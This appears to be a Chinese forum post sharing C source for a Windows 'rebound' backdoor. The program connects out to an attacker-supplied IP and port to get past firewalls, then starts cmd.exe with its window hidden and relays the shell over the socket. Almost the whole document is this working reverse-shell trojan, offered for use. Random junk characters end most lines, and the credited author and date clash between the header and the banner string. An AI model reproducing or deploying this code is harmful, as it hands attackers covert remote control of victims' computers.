这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =u.@W98, K
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/* ============================== k(gbUlCc
Rebound port in Windows NT /<LZt<K
By wind,2006/7 e~r/!B5X
===============================*/ XJ18(Q|w'
#include K$"#SZEi
#include Ayz*2N`%
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#pragma comment(lib,"wsock32.lib") S|85g1}t
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void OutputShell(); 87 Z[0>
SOCKET sClient; #mxOwvJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !Sc"V.o@!
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void main(int argc,char **argv) AIF?>wgq
{ { 3G
WSADATA stWsaData; bLqy7S9x
int nRet; agIqca;
SOCKADDR_IN stSaiClient,stSaiServer; DUp`zW;B
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if(argc != 3) 8-Abg:)
{ |/Nh#
printf("Useage:\n\rRebound DestIP DestPort\n"); tKbxC>w
return; /cjz=r1U>
} l|CM/(99-
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WSAStartup(MAKEWORD(2,2),&stWsaData); uP~,]ci7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X! d-"[
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stSaiClient.sin_family = AF_INET; l;?:}\sI=
stSaiClient.sin_port = htons(0); pUIN`ya[[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o`T.Zaik,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yD\q4G
{ 1w,_D.1'
printf("Bind Socket Failed!\n"); !xs}CxEyA
return; /MZ<vnN7f
} 2Q^q$@L
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stSaiServer.sin_family = AF_INET; uEPp%&D.+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rQ*+
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 19 5_1?'<
{ 0'^M}&zCi
printf("Connect Error!"); Y}~sTuWU
return; >xWS>
} `3TR`,=
OutputShell(); 7B?Y.B
} Lg:1zC
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void OutputShell() @0 +\:F
{ P1#g{f
char szBuff[1024]; 5Xq+lLW>
SECURITY_ATTRIBUTES stSecurityAttributes; G% F#I
OSVERSIONINFO stOsversionInfo; B=SA
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; corm'AJ/
STARTUPINFO stStartupInfo; |J$A%27
char *szShell; A95f!a
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; ;jPsS^X
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TTf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pb!2G/,.[
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; >a;a8EA<O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z+xkN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z)Rkd0/X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P`tOL#UeZL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H_xHoCLI
stStartupInfo.wShowWindow = SW_HIDE; D#GuF~-F!R
stStartupInfo.hStdInput = hReadPipe; g#S
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E|=x+M1sH
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GetVersionEx(&stOsversionInfo); CL<-3y*
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switch(stOsversionInfo.dwPlatformId) -Jv,#Z3
{ NlYuT+
case 1: ko%mZ0Y
szShell = "command.com"; rwWOhD)RU
break; 5Tn<
default: '5}hm1,
szShell = "cmd.exe"; ;~3;CijJ8
break; \VPw3
} "8QRYV~Z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {i>AQ+z61f
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send(sClient,szMsg,77,0); MN: {,#d0
while(1) #}Qe{4L
{ /_{-~0Z=@B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T;u;r@R/
if(lBytesRead) P@y)K!{Nk
{ l;M,=ctB(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Zma;An6
send(sClient,szBuff,lBytesRead,0); C(>!?-.
} [8u9q.IZ
else f2.=1)u.
{ 2Z; !N37U
lBytesRead=recv(sClient,szBuff,1024,0); FH</[7f;@N
if(lBytesRead<=0) break; _'p/8K5)=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =CzGI|pb
} :k9T`Aa]
} <?41-p-;
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return; h-p}Qil,
}